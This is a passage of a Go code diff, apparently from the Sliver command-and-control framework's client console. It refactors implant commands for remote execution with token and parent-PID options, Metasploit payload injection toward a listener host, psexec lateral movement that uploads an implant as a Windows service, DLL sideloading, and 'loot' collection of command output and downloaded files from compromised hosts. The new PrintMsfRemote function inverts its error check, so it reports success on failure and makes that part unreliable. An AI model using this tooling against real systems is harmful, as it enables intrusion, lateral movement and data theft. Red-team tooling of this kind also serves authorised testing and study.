 	if output && beacon != nil {
 		con.PrintWarnf("Using --output in beacon mode, if the command blocks the task will never complete\n\n")
@@ -51,21 +62,23 @@ func ExecuteCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {

 	ctrl := make(chan bool)
 	con.SpinUntil(fmt.Sprintf("Executing %s %s ...", cmdPath, strings.Join(args, " ")), ctrl)
-	if token {
-		exec, err = con.Rpc.ExecuteToken(context.Background(), &sliverpb.ExecuteTokenReq{
-			Request: con.ActiveTarget.Request(ctx),
-			Path:    cmdPath,
-			Args:    args,
-			Output:  output,
-			Stderr:  stderr,
-			Stdout:  stdout,
+	if token || ppid != 0 {
+		exec, err = con.Rpc.ExecuteWindows(context.Background(), &sliverpb.ExecuteWindowsReq{
+			Request:  con.ActiveTarget.Request(ctx),
+			Path:     cmdPath,
+			Args:     args,
+			Output:   captureOutput,
+			Stderr:   stderr,
+			Stdout:   stdout,
+			UseToken: token,
+			PPid:     uint32(ppid),
 		})
 	} else {
 		exec, err = con.Rpc.Execute(context.Background(), &sliverpb.ExecuteReq{
 			Request: con.ActiveTarget.Request(ctx),
 			Path:    cmdPath,
 			Args:    args,
-			Output:  output,
+			Output:  captureOutput,
 			Stderr:  stderr,
 			Stdout:  stdout,
 		})
@@ -84,22 +97,42 @@ func ExecuteCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 				con.PrintErrorf("Failed to decode response %s\n", err)
 				return
 			}
-			PrintExecute(exec, ctx, con)
+			HandleExecuteResponse(exec, cmdPath, hostName, ctx, con)
 		})
 		con.PrintAsyncResponse(exec.Response)
 	} else {
-		PrintExecute(exec, ctx, con)
+		HandleExecuteResponse(exec, cmdPath, hostName, ctx, con)
 	}
 }

+func HandleExecuteResponse(exec *sliverpb.Execute, cmdPath string, hostName string, ctx *grumble.Context, con *console.SliverConsoleClient) {
+	var lootedOutput []byte
+	stdout := ctx.Flags.String("stdout")
+	saveLoot := ctx.Flags.Bool("loot")
+	saveOutput := ctx.Flags.Bool("save")
+	lootName := ctx.Flags.String("name")
+	ignoreStderr := ctx.Flags.Bool("ignore-stderr")
+
+	if saveLoot || saveOutput {
+		lootedOutput = combineCommandOutput(exec, stdout == "", !ignoreStderr && 0 < len(exec.Stderr))
+	}
+
+	if saveLoot {
+		LootExecute(lootedOutput, lootName, ctx.Command.Name, cmdPath, hostName, con)
+	}
+
+	if saveOutput {
+		SaveExecutionOutput(string(lootedOutput), ctx.Command.Name, hostName, con)
+	}
+
+	PrintExecute(exec, ctx, con)
+}
+
 // PrintExecute - Print the output of an executed command
 func PrintExecute(exec *sliverpb.Execute, ctx *grumble.Context, con *console.SliverConsoleClient) {
 	ignoreStderr := ctx.Flags.Bool("ignore-stderr")
-	saveLoot := ctx.Flags.Bool("loot")
 	stdout := ctx.Flags.String("stdout")
 	stderr := ctx.Flags.String("stderr")
-	cmdPath := ctx.Args.String("command")
-	args := ctx.Args.StringList("arguments")

 	output := ctx.Flags.Bool("output")
 	if !output {
@@ -111,17 +144,14 @@ func PrintExecute(exec *sliverpb.Execute, ctx *grumble.Context, con *console.Sli
 		return
 	}

-	combined := ""
 	if stdout == "" {
-		combined = string(exec.Stdout)
-		con.PrintInfof("Output:\n%s", combined)
+		con.PrintInfof("Output:\n%s", string(exec.Stdout))
 	} else {
 		con.PrintInfof("Stdout saved at %s\n", stdout)
 	}

 	if stderr == "" {
 		if !ignoreStderr && 0 < len(exec.Stderr) {
-			combined = fmt.Sprintf("%s\nStderr:\n%s", combined, string(exec.Stderr))
 			con.PrintInfof("Stderr:\n%s", string(exec.Stderr))
 		}
 	} else {
@@ -131,13 +161,96 @@ func PrintExecute(exec *sliverpb.Execute, ctx *grumble.Context, con *console.Sli
 	if exec.Status != 0 {
 		con.PrintErrorf("Exited with status %d!\n", exec.Status)
 	}
-	if saveLoot && 0 < len(combined) {
-		name := fmt.Sprintf("[exec] %s %s", cmdPath, strings.Join(args, " "))
-		err := loot.AddLootFile(con.Rpc, name, "console.txt", []byte(combined), false)
-		if err != nil {
-			con.PrintErrorf("Failed to save output as loot: %s\n", err)
-		} else {
-			con.PrintInfof("Output saved as loot\n")
+}
+
+func getHostname(session *clientpb.Session, beacon *clientpb.Beacon) string {
+	if session != nil {
+		return session.Hostname
+	}
+	if beacon != nil {
+		return beacon.Hostname
+	}
+	return ""
+}
+
+func determineCommandName(command string) string {
+	commandName := strings.ReplaceAll(command, "\\", "/")
+
+	commandName = commandName[strings.LastIndex(commandName, "/")+1:]
+
+	if strings.Contains(commandName, ".") {
+		commandName = commandName[:strings.LastIndex(commandName, ".")]
+	}
+
+	return commandName
+}
+
+func combineCommandOutput(exec *sliverpb.Execute, combineStdOut bool, combineStdErr bool) []byte {
+	var outputString string = ""
+
+	if combineStdOut {
+		outputString += "Output (stdout):\n" + string(exec.Stdout)
+	}
+
+	if combineStdErr {
+		if combineStdOut {
+			outputString += "\n"
 		}
+		outputString += "Stderr:\n" + string(exec.Stderr)
+	}
+
+	return []byte(outputString)
+}
+
+func LootExecute(commandOutput []byte, lootName string, sliverCmdName string, cmdName string, hostName string, con *console.SliverConsoleClient) {
+	if len(commandOutput) == 0 {
+		con.PrintInfof("There was no output from execution, so there is nothing to loot.\n")
+		return
+	}
+
+	timeNow := time.Now().UTC().Format("20060102150405")
+
+	shortCommandName := determineCommandName(cmdName)
+
+	fileName := fmt.Sprintf("%s_%s_%s_%s.log", sliverCmdName, hostName, shortCommandName, timeNow)
+	if lootName == "" {
+		lootName = fmt.Sprintf("[%s] %s on %s (%s)", sliverCmdName, shortCommandName, hostName, timeNow)
+	}
+
+	lootMessage := loot.CreateLootMessage(fileName, lootName, clientpb.LootType_LOOT_FILE, clientpb.FileType_TEXT, commandOutput)
+	loot.SendLootMessage(lootMessage, con)
+}
+
+func PrintExecutionOutput(executionOutput string, saveOutput bool, commandName string, hostName string, con *console.SliverConsoleClient) {
+	con.PrintInfof("Output:\n%s", executionOutput)
+
+	if saveOutput {
+		SaveExecutionOutput(executionOutput, commandName, hostName, con)
+	}
+}
+
+func SaveExecutionOutput(executionOutput string, commandName string, hostName string, con *console.SliverConsoleClient) {
+	var outFilePath *os.File
+	var err error
+
+	if len(executionOutput) == 0 {
+		con.PrintInfof("There was no output from execution, so there is nothing to save.")
+		return
+	}
+
+	timeNow := time.Now().UTC().Format("20060102150405")
+
+	outFileName := filepath.Base(fmt.Sprintf("%s_%s_%s*.log", commandName, hostName, timeNow))
+
+	outFilePath, err = ioutil.TempFile("", outFileName)
+
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+
+	if outFilePath != nil {
+		outFilePath.Write([]byte(executionOutput))
+		con.PrintInfof("Output saved to %s\n", outFilePath.Name())
 	}
 }
@@ -33,8 +33,8 @@ import (

 // MsfInjectCmd - Inject a metasploit payload into a remote process
 func MsfInjectCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
-	session := con.ActiveTarget.GetSessionInteractive()
-	if session == nil {
+	session, beacon := con.ActiveTarget.GetInteractive()
+	if session == nil && beacon == nil {
 		return
 	}

@@ -49,15 +49,23 @@ func MsfInjectCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		con.PrintErrorf("Invalid lhost '%s', see `help %s`\n", lhost, consts.MsfInjectStr)
 		return
 	}
-
 	if pid == -1 {
 		con.PrintErrorf("Invalid pid '%s', see `help %s`\n", lhost, consts.MsfInjectStr)
 		return
 	}
+	var goos string
+	var goarch string
+	if session != nil {
+		goos = session.OS
+		goarch = session.Arch
+	} else {
+		goos = beacon.OS
+		goarch = beacon.Arch
+	}

 	ctrl := make(chan bool)
-	msg := fmt.Sprintf("Injecting payload %s %s/%s -> %s:%d ...",
-		payloadName, session.OS, session.Arch, lhost, lport)
+	msg := fmt.Sprintf("Sending msf payload %s %s/%s -> %s:%d ...",
+		payloadName, goos, goarch, lhost, lport)
 	con.SpinUntil(msg, ctrl)
 	msfTask, err := con.Rpc.MsfRemote(context.Background(), &clientpb.MSFRemoteReq{
 		Request:    con.ActiveTarget.Request(ctx),
@@ -90,6 +98,15 @@ func MsfInjectCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	}
 }

+// PrintMsfRemote - Print the results of the remote injection attempt
 func PrintMsfRemote(msfRemote *sliverpb.Task, con *console.SliverConsoleClient) {
-
+	if msfRemote.Response == nil {
+		con.PrintErrorf("Empty response from msf payload injection task")
+		return
+	}
+	if msfRemote.Response.Err != "" {
+		con.PrintInfof("Executed payload on target")
+	} else {
+		con.PrintErrorf("Failed to inject payload: %s", msfRemote.Response.Err)
+	}
 }
@@ -25,14 +25,15 @@ import (
 	"github.com/bishopfox/sliver/client/console"
 	consts "github.com/bishopfox/sliver/client/constants"
 	"github.com/bishopfox/sliver/protobuf/clientpb"
+	"google.golang.org/protobuf/proto"

 	"github.com/desertbit/grumble"
 )

 // MsfCmd - Inject a metasploit payload into the current remote process
 func MsfCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
-	session := con.ActiveTarget.GetSessionInteractive()
-	if session == nil {
+	session, beacon := con.ActiveTarget.GetInteractive()
+	if session == nil && beacon == nil {
 		return
 	}

@@ -46,12 +47,21 @@ func MsfCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		con.PrintErrorf("Invalid lhost '%s', see `help %s`\n", lhost, consts.MsfStr)
 		return
 	}
+	var goos string
+	var goarch string
+	if session != nil {
+		goos = session.OS
+		goarch = session.Arch
+	} else {
+		goos = beacon.OS
+		goarch = beacon.Arch
+	}

 	ctrl := make(chan bool)
-	msg := fmt.Sprintf("Sending payload %s %s/%s -> %s:%d ...",
-		payloadName, session.OS, session.Arch, lhost, lport)
+	msg := fmt.Sprintf("Sending msf payload %s %s/%s -> %s:%d ...",
+		payloadName, goos, goarch, lhost, lport)
 	con.SpinUntil(msg, ctrl)
-	_, err := con.Rpc.Msf(context.Background(), &clientpb.MSFReq{
+	msfTask, err := con.Rpc.Msf(context.Background(), &clientpb.MSFReq{
 		Request:    con.ActiveTarget.Request(ctx),
 		Payload:    payloadName,
 		LHost:      lhost,
@@ -63,7 +73,20 @@ func MsfCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	<-ctrl
 	if err != nil {
 		con.PrintErrorf("%s\n", err)
+		return
+	}
+
+	if msfTask.Response != nil && msfTask.Response.Async {
+		con.AddBeaconCallback(msfTask.Response.TaskID, func(task *clientpb.BeaconTask) {
+			err = proto.Unmarshal(task.Response, msfTask)
+			if err != nil {
+				con.PrintErrorf("Failed to decode response %s\n", err)
+				return
+			}
+			PrintMsfRemote(msfTask, con)
+		})
+		con.PrintAsyncResponse(msfTask.Response)
 	} else {
-		con.PrintInfof("Executed payload on target\n")
+		PrintMsfRemote(msfTask, con)
 	}
 }
@@ -21,6 +21,7 @@ package exec
 import (
 	"context"
 	"fmt"
+	"io/ioutil"
 	insecureRand "math/rand"
 	"strings"
 	"time"
@@ -47,10 +48,12 @@ func PsExecCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		con.PrintErrorf("You need to provide a target host, see `help psexec` for examples")
 		return
 	}
+	var serviceBinary []byte
 	profile := ctx.Flags.String("profile")
 	serviceName := ctx.Flags.String("service-name")
 	serviceDesc := ctx.Flags.String("service-description")
 	binPath := ctx.Flags.String("binpath")
+	customExe := ctx.Flags.String("custom-exe")
 	uploadPath := fmt.Sprintf(`\\%s\%s`, hostname, strings.ReplaceAll(strings.ToLower(ctx.Flags.String("binpath")), "c:", "C$"))

 	if serviceName == "Sliver" || serviceDesc == "Sliver implant" {
@@ -61,35 +64,46 @@ func PsExecCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		}
 	}

-	if profile == "" {
-		con.PrintErrorf("You need to pass a profile name, see `help psexec` for more info\n")
-		return
+	if customExe == "" {
+		if profile == "" {
+			con.PrintErrorf("You need to pass a profile name, see `help psexec` for more info\n")
+			return
+		}
+
+		// generate sliver
+		generateCtrl := make(chan bool)
+		con.SpinUntil(fmt.Sprintf("Generating sliver binary for %s\n", profile), generateCtrl)
+		profiles, err := con.Rpc.ImplantProfiles(context.Background(), &commonpb.Empty{})
+		if err != nil {
+			con.PrintErrorf("Error: %s\n", err)
+			return
+		}
+		generateCtrl <- true
+		<-generateCtrl
+		var implantProfile *clientpb.ImplantProfile
+		for _, prof := range profiles.Profiles {
+			if prof.Name == profile {
+				implantProfile = prof
+			}
+		}
+		if implantProfile.GetName() == "" {
+			con.PrintErrorf("No profile found for name %s\n", profile)
+			return
+		}
+		serviceBinary, _ = generate.GetSliverBinary(implantProfile, con)
+	} else {
+		// use a custom exe instead of generating a new Sliver
+		fileBytes, err := ioutil.ReadFile(customExe)
+		if err != nil {
+			con.PrintErrorf("Error reading custom executable '%s'\n", customExe)
+			return
+		}
+		serviceBinary = fileBytes
 	}

-	// generate sliver
-	generateCtrl := make(chan bool)
-	con.SpinUntil(fmt.Sprintf("Generating sliver binary for %s\n", profile), generateCtrl)
-	profiles, err := con.Rpc.ImplantProfiles(context.Background(), &commonpb.Empty{})
-	if err != nil {
-		con.PrintErrorf("Error: %s\n", err)
-		return
-	}
-	generateCtrl <- true
-	<-generateCtrl
-	var implantProfile *clientpb.ImplantProfile
-	for _, prof := range profiles.Profiles {
-		if prof.Name == profile {
-			implantProfile = prof
-		}
-	}
-	if implantProfile.GetName() == "" {
-		con.PrintErrorf("No profile found for name %s\n", profile)
-		return
-	}
-	sliverBinary, err := generate.GetSliverBinary(implantProfile, con)
 	filename := randomString(10)
 	filePath := fmt.Sprintf("%s\\%s.exe", uploadPath, filename)
-	uploadGzip := new(encoders.Gzip).Encode(sliverBinary)
+	uploadGzip := new(encoders.Gzip).Encode(serviceBinary)
 	// upload to remote target
 	uploadCtrl := make(chan bool)
 	con.SpinUntil("Uploading service binary ...", uploadCtrl)
@@ -22,7 +22,6 @@ import (
 	"context"
 	"fmt"
 	"io/ioutil"
-	"os"
 	"path/filepath"
 	"strings"

@@ -62,6 +61,7 @@ func SideloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		ProcessName: processName,
 		Kill:        !ctx.Flags.Bool("keep-alive"),
 		IsDLL:       isDLL,
+		IsUnicode:   ctx.Flags.Bool("unicode"),
 	})
 	ctrl <- true
 	<-ctrl
@@ -70,7 +70,7 @@ func SideloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		return
 	}

-	hostname := getHostname(session, beacon)
+	hostName := getHostname(session, beacon)
 	if sideload.Response != nil && sideload.Response.Async {
 		con.AddBeaconCallback(sideload.Response.TaskID, func(task *clientpb.BeaconTask) {
 			err = proto.Unmarshal(task.Response, sideload)
@@ -78,34 +78,27 @@ func SideloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 				con.PrintErrorf("Failed to decode response %s\n", err)
 				return
 			}
-			PrintSideload(sideload, hostname, ctx, con)
+
+			HandleSideloadResponse(sideload, binPath, hostName, ctx, con)
 		})
 		con.PrintAsyncResponse(sideload.Response)
 	} else {
-		PrintSideload(sideload, hostname, ctx, con)
+		HandleSideloadResponse(sideload, binPath, hostName, ctx, con)
 	}
 }

-// PrintSideload - Print the sideload command output
-func PrintSideload(sideload *sliverpb.Sideload, hostname string, ctx *grumble.Context, con *console.SliverConsoleClient) {
+func HandleSideloadResponse(sideload *sliverpb.Sideload, binPath string, hostName string, ctx *grumble.Context, con *console.SliverConsoleClient) {
+	saveLoot := ctx.Flags.Bool("loot")
+	lootName := ctx.Flags.String("name")
+
 	if sideload.GetResponse().GetErr() != "" {
 		con.PrintErrorf("%s\n", sideload.GetResponse().GetErr())
 		return
 	}

-	var outFilePath *os.File
-	var err error
-	if ctx.Flags.Bool("save") {
-		outFile := filepath.Base(fmt.Sprintf("%s_%s*.log", ctx.Command.Name, hostname))
-		outFilePath, err = ioutil.TempFile("", outFile)
-		if err != nil {
-			con.PrintErrorf("%s\n", err)
-			return
-		}
-	}
-	con.PrintInfof("Output:\n%s", sideload.GetResult())
-	if outFilePath != nil {
-		outFilePath.Write([]byte(sideload.GetResult()))
-		con.PrintInfof("Output saved to %s\n", outFilePath.Name())
+	PrintExecutionOutput(sideload.GetResult(), ctx.Flags.Bool("save"), ctx.Command.Name, hostName, con)
+
+	if saveLoot {
+		LootExecute([]byte(sideload.Result), lootName, ctx.Command.Name, binPath, hostName, con)
 	}
 }
@@ -4,8 +4,6 @@ import (
 	"context"
 	"fmt"
 	"io/ioutil"
-	"os"
-	"path/filepath"
 	"strings"

 	"github.com/bishopfox/sliver/client/console"
@@ -48,7 +46,7 @@ func SpawnDllCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	ctrl <- true
 	<-ctrl

-	hostname := getHostname(session, beacon)
+	hostName := getHostname(session, beacon)
 	if spawndll.Response != nil && spawndll.Response.Async {
 		con.AddBeaconCallback(spawndll.Response.TaskID, func(task *clientpb.BeaconTask) {
 			err = proto.Unmarshal(task.Response, spawndll)
@@ -56,34 +54,27 @@ func SpawnDllCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 				con.PrintErrorf("Failed to decode response %s\n", err)
 				return
 			}
-			PrintSpawnDll(spawndll, hostname, ctx, con)
+
+			HandleSpawnDLLResponse(spawndll, binPath, hostName, ctx, con)
 		})
 		con.PrintAsyncResponse(spawndll.Response)
 	} else {
-		PrintSpawnDll(spawndll, hostname, ctx, con)
+		HandleSpawnDLLResponse(spawndll, binPath, hostName, ctx, con)
 	}
 }

-// PrintSpawnDll - Print the SpawnDll command response
-func PrintSpawnDll(spawndll *sliverpb.SpawnDll, hostname string, ctx *grumble.Context, con *console.SliverConsoleClient) {
+func HandleSpawnDLLResponse(spawndll *sliverpb.SpawnDll, binPath string, hostName string, ctx *grumble.Context, con *console.SliverConsoleClient) {
+	saveLoot := ctx.Flags.Bool("loot")
+	lootName := ctx.Flags.String("name")
+
 	if spawndll.GetResponse().GetErr() != "" {
 		con.PrintErrorf("Failed to spawn dll: %s\n", spawndll.GetResponse().GetErr())
 		return
 	}

-	var outFilePath *os.File
-	var err error
-	if ctx.Flags.Bool("save") {
-		outFile := filepath.Base(fmt.Sprintf("%s_%s*.log", ctx.Command.Name, hostname))
-		outFilePath, err = ioutil.TempFile("", outFile)
-		if err != nil {
-			con.PrintErrorf("%s\n", err)
-			return
-		}
-	}
-	con.PrintInfof("Output:\n%s", spawndll.GetResult())
-	if outFilePath != nil {
-		outFilePath.Write([]byte(spawndll.GetResult()))
-		con.PrintInfof("Output saved to %s\n", outFilePath.Name())
+	PrintExecutionOutput(spawndll.GetResult(), ctx.Flags.Bool("save"), ctx.Command.Name, hostName, con)
+
+	if saveLoot {
+		LootExecute([]byte(spawndll.GetResult()), lootName, ctx.Command.Name, binPath, hostName, con)
 	}
 }
@@ -31,6 +31,7 @@ import (
 	"strings"

 	"github.com/bishopfox/sliver/client/assets"
+	"github.com/bishopfox/sliver/client/command/help"
 	"github.com/bishopfox/sliver/client/console"
 	consts "github.com/bishopfox/sliver/client/constants"
 	"github.com/bishopfox/sliver/client/core"
@@ -58,6 +59,7 @@ type ExtensionManifest struct {
 	OriginalAuthor  string               `json:"original_author"`
 	RepoURL         string               `json:"repo_url"`
 	Help            string               `json:"help"`
+	LongHelp        string               `json:"long_help"`
 	Files           []*extensionFile     `json:"files"`
 	Arguments       []*extensionArgument `json:"arguments"`
 	Entrypoint      string               `json:"entrypoint"`
@@ -171,8 +173,9 @@ func ExtensionRegisterCommand(extCmd *ExtensionManifest, con *console.SliverCons
 	loadedExtensions[extCmd.CommandName] = extCmd
 	helpMsg := extCmd.Help
 	extensionCmd := &grumble.Command{
-		Name: extCmd.CommandName,
-		Help: helpMsg,
+		Name:     extCmd.CommandName,
+		Help:     helpMsg,
+		LongHelp: help.FormatHelpTmpl(extCmd.LongHelp),
 		Run: func(extCtx *grumble.Context) error {
 			con.Println()
 			runExtensionCmd(extCtx, con)
@@ -192,12 +195,15 @@ func ExtensionRegisterCommand(extCmd *ExtensionManifest, con *console.SliverCons
 						defaultValue grumble.ArgOption
 					)
 					switch arg.Type {
-					case "int", "short":
+					case "int", "integer", "short":
 						argFunc = a.Int
 						defaultValue = grumble.Default(0)
 					case "string", "wstring", "file":
 						argFunc = a.String
 						defaultValue = grumble.Default("")
+					default:
+						con.PrintErrorf("Invalid argument type: %s\n", arg.Type)
+						return
 					}
 					if arg.Optional {
 						argFunc(arg.Name, arg.Desc, defaultValue)
@@ -240,7 +246,7 @@ func loadExtension(goos string, goarch string, checkCache bool, ext *ExtensionMa
 		if !depLoaded && extName == ext.DependsOn {
 			depLoaded = true
 		}
-		if ext.Name == extName {
+		if ext.CommandName == extName {
 			return nil
 		}
 	}
@@ -420,6 +426,8 @@ func getBOFArgs(ctx *grumble.Context, binPath string, ext *ExtensionManifest) ([
 	// Parse BOF arguments from grumble
 	for _, arg := range ext.Arguments {
 		switch arg.Type {
+		case "integer":
+			fallthrough
 		case "int":
 			val := ctx.Args.Int(arg.Name)
 			err = argsBuffer.AddInt(uint32(val))
@@ -27,6 +27,7 @@ import (
 	"github.com/alecthomas/chroma/formatters"
 	"github.com/alecthomas/chroma/lexers"
 	"github.com/alecthomas/chroma/styles"
+	"github.com/bishopfox/sliver/client/command/loot"
 	"github.com/bishopfox/sliver/client/console"
 	"github.com/bishopfox/sliver/protobuf/clientpb"
 	"github.com/bishopfox/sliver/protobuf/sliverpb"
@@ -49,10 +50,14 @@ func CatCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		return
 	}

+	ctrl := make(chan bool)
+	con.SpinUntil(fmt.Sprintf("Downloading %s ...", filePath), ctrl)
 	download, err := con.Rpc.Download(context.Background(), &sliverpb.DownloadReq{
 		Request: con.ActiveTarget.Request(ctx),
 		Path:    filePath,
 	})
+	ctrl <- true
+	<-ctrl
 	if err != nil {
 		con.PrintErrorf("%s\n", err)
 		return
@@ -74,16 +79,39 @@ func CatCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {

 // PrintCat - Print the download to stdout
 func PrintCat(download *sliverpb.Download, ctx *grumble.Context, con *console.SliverConsoleClient) {
-	var err error
+	var (
+		lootDownload bool = true
+		err          error
+	)
+	saveLoot := ctx.Flags.Bool("loot")
+	lootName := ctx.Flags.String("name")
+	userLootType := ctx.Flags.String("type")
+	userLootFileType := ctx.Flags.String("file-type")
 	if download.Response != nil && download.Response.Err != "" {
 		con.PrintErrorf("%s\n", download.Response.Err)
 		return
 	}
+
 	if download.Encoder == "gzip" {
 		download.Data, err = new(encoders.Gzip).Decode(download.Data)
+		if err != nil {
+			con.PrintErrorf("Decoding failed %s", err)
+		}
+	}
+
+	if saveLoot {
+		lootType, err := loot.ValidateLootType(userLootType)
 		if err != nil {
 			con.PrintErrorf("%s\n", err)
-			return
+			// Even if the loot type is bad, we can still print the result to the screen
+			// We will not loot it though
+			lootDownload = false
+		}
+		fileType := loot.ValidateLootFileType(userLootFileType, download.Data)
+
+		if lootDownload {
+			loot.LootDownload(download, lootName, lootType, fileType, ctx, con)
+			con.Printf("\n")
 		}
 	}
 	if ctx.Flags.Bool("colorize-output") {
@@ -24,44 +24,36 @@ import (
 	"os"
 	"path"
 	"path/filepath"
+	"regexp"
+	"runtime"
+	"strings"
+	"time"

-	"github.com/AlecAivazis/survey/v2"
+	"github.com/bishopfox/sliver/client/command/loot"
 	"github.com/bishopfox/sliver/client/console"
 	"github.com/bishopfox/sliver/protobuf/clientpb"
 	"github.com/bishopfox/sliver/protobuf/sliverpb"
 	"github.com/bishopfox/sliver/util/encoders"
 	"google.golang.org/protobuf/proto"
+	"gopkg.in/AlecAivazis/survey.v1"

 	"github.com/desertbit/grumble"
 )

-// DownloadCmd - Download a file from the remote system
 func DownloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	session, beacon := con.ActiveTarget.GetInteractive()
 	if session == nil && beacon == nil {
 		return
 	}
-
 	remotePath := ctx.Args.String("remote-path")
-	localPath := ctx.Args.String("local-path")
-
-	src := remotePath
-	fileName := filepath.Base(src)
-	dst, _ := filepath.Abs(localPath)
-	fi, err := os.Stat(dst)
-	if err != nil && !os.IsNotExist(err) {
-		con.PrintErrorf("%s\n", err)
-		return
-	}
-	if err == nil && fi.IsDir() {
-		dst = path.Join(dst, fileName)
-	}
+	recurse := ctx.Flags.Bool("recurse")

 	ctrl := make(chan bool)
-	con.SpinUntil(fmt.Sprintf("%s -> %s", fileName, dst), ctrl)
+	con.SpinUntil(fmt.Sprintf("Downloading %s ...", remotePath), ctrl)
 	download, err := con.Rpc.Download(context.Background(), &sliverpb.DownloadReq{
 		Request: con.ActiveTarget.Request(ctx),
 		Path:    remotePath,
+		Recurse: recurse,
 	})
 	ctrl <- true
 	<-ctrl
@@ -76,60 +68,160 @@ func DownloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 				con.PrintErrorf("Failed to decode response %s\n", err)
 				return
 			}
-			PrintDownload(download, ctx, con)
+			HandleDownloadResponse(download, ctx, con)
 		})
 		con.PrintAsyncResponse(download.Response)
 	} else {
-		PrintDownload(download, ctx, con)
+		HandleDownloadResponse(download, ctx, con)
 	}
+
 }

-// PrintDownload - Print the download response, and save file to disk
-func PrintDownload(download *sliverpb.Download, ctx *grumble.Context, con *console.SliverConsoleClient) {
+func prettifyDownloadName(path string) string {
+	nonAlphaNumericRegex, err := regexp.Compile("[^a-zA-Z0-9]+")
+	if err != nil {
+		// Well, we tried.
+		return path
+	}
+
+	pathNoSeparators := strings.ReplaceAll(path, "\\", "_")
+	pathNoSeparators = strings.ReplaceAll(pathNoSeparators, "/", "_")
+
+	filteredString := nonAlphaNumericRegex.ReplaceAllString(pathNoSeparators, "_")
+
+	// Collapse multiple underscores into one
+	multipleUnderscoreRegex, err := regexp.Compile("_{2,}")
+	if err != nil {
+		return filteredString
+	}
+
+	filteredString = multipleUnderscoreRegex.ReplaceAllString(filteredString, "_")
+
+	// If there is an underscore at the front of the filename, strip that off
+	if strings.HasPrefix(filteredString, "_") {
+		filteredString = filteredString[1:]
+	}
+
+	return filteredString
+}
+
+func HandleDownloadResponse(download *sliverpb.Download, ctx *grumble.Context, con *console.SliverConsoleClient) {
+	var err error
 	if download.Response != nil && download.Response.Err != "" {
 		con.PrintErrorf("%s\n", download.Response.Err)
 		return
 	}

-	remotePath := ctx.Args.String("remote-path")
-	localPath := ctx.Args.String("local-path")
-
-	src := remotePath
-	fileName := filepath.Base(src)
-	dst, _ := filepath.Abs(localPath)
-	fi, err := os.Stat(dst)
-	if err != nil && !os.IsNotExist(err) {
-		con.PrintErrorf("%s\n", err)
-		return
-	}
-	if err == nil && fi.IsDir() {
-		dst = path.Join(dst, fileName)
-	}
-	if _, err := os.Stat(dst); err == nil {
-		overwrite := false
-		prompt := &survey.Confirm{Message: "Overwrite local file?"}
-		survey.AskOne(prompt, &overwrite, nil)
-		if !overwrite {
-			return
-		}
-	}
 	if download.Encoder == "gzip" {
 		download.Data, err = new(encoders.Gzip).Decode(download.Data)
 		if err != nil {
 			con.PrintErrorf("Decoding failed %s", err)
-			return
 		}
 	}
-	dstFile, err := os.Create(dst)
-	if err != nil {
-		con.PrintErrorf("Failed to open local file %s: %s\n", dst, err)
+
+	remotePath := ctx.Args.String("remote-path")
+	localPath := ctx.Args.String("local-path")
+	saveLoot := ctx.Flags.Bool("loot")
+
+	if download.ReadFiles == 0 {
+		// No files downloaded successfully.
+		con.PrintErrorf("No files downloaded from the implant - check permissions, path, and / or filters.\n")
 		return
 	}
-	defer dstFile.Close()
-	n, err := dstFile.Write(download.Data)
-	if err != nil {
-		con.PrintErrorf("Failed to write data %v\n", err)
+
+	if saveLoot {
+		lootName := ctx.Flags.String("name")
+		lootType, err := loot.ValidateLootType(ctx.Flags.String("type"))
+		if err != nil {
+			con.PrintErrorf("%s\n", err)
+			return
+		}
+		// Hand off to the loot package to take care of looting
+		fileType := loot.ValidateLootFileType(ctx.Flags.String("file-type"), download.Data)
+		loot.LootDownload(download, lootName, lootType, fileType, ctx, con)
 	} else {
-		con.PrintInfof("Wrote %d bytes to %s\n", n, dstFile.Name())
+		fileName := filepath.Base(remotePath)
+		dst, err := filepath.Abs(localPath)
+		if err != nil {
+			con.PrintErrorf("%s\n", err)
+			return
+		}
+
+		fi, err := os.Stat(dst)
+		if err != nil && !os.IsNotExist(err) {
+			con.PrintErrorf("%s\n", err)
+			return
+		}
+		if err == nil && fi.IsDir() {
+			if download.IsDir {
+				// Come up with a good file name - filters might make the filename ugly
+				session, beacon := con.ActiveTarget.Get()
+				implantName := ""
+				if session != nil {
+					implantName = session.Name
+				} else if beacon != nil {
+					implantName = beacon.Name
+				}
+
+				fileName = fmt.Sprintf("%s_download_%s_%d.tar.gz", filepath.Base(implantName), filepath.Base(prettifyDownloadName(remotePath)), time.Now().Unix())
+			}
+			if runtime.GOOS == "windows" {
+				// Windows has a file path length of 260 characters
+				// +1 for the path separator before the file name
+				if len(dst)+len(fileName)+1 > 260 {
+					// Make an effort to shorten the file name. If this does not work, the operator will have to find somewhere else to put the file
+					fileName = fmt.Sprintf("down_%d.tar.gz", time.Now().Unix())
+				}
+			}
+			dst = path.Join(dst, fileName)
+		}
+
+		// Add an extension to a directory download if one is not provided.
+		if download.IsDir && (!strings.HasSuffix(dst, ".tgz") && !strings.HasSuffix(dst, ".tar.gz")) {
+			dst += ".tar.gz"
+		}
+
+		if _, err := os.Stat(dst); err == nil {
+			overwrite := false
+			prompt := &survey.Confirm{Message: "Overwrite local file?"}
+			survey.AskOne(prompt, &overwrite, nil)
+			if !overwrite {
+				return
+			}
+		}
+
+		dstFile, err := os.Create(dst)
+		if err != nil {
+			con.PrintErrorf("Failed to open local file %s: %s\n", dst, err)
+			return
+		}
+		defer dstFile.Close()
+		n, err := dstFile.Write(download.Data)
+		if err != nil {
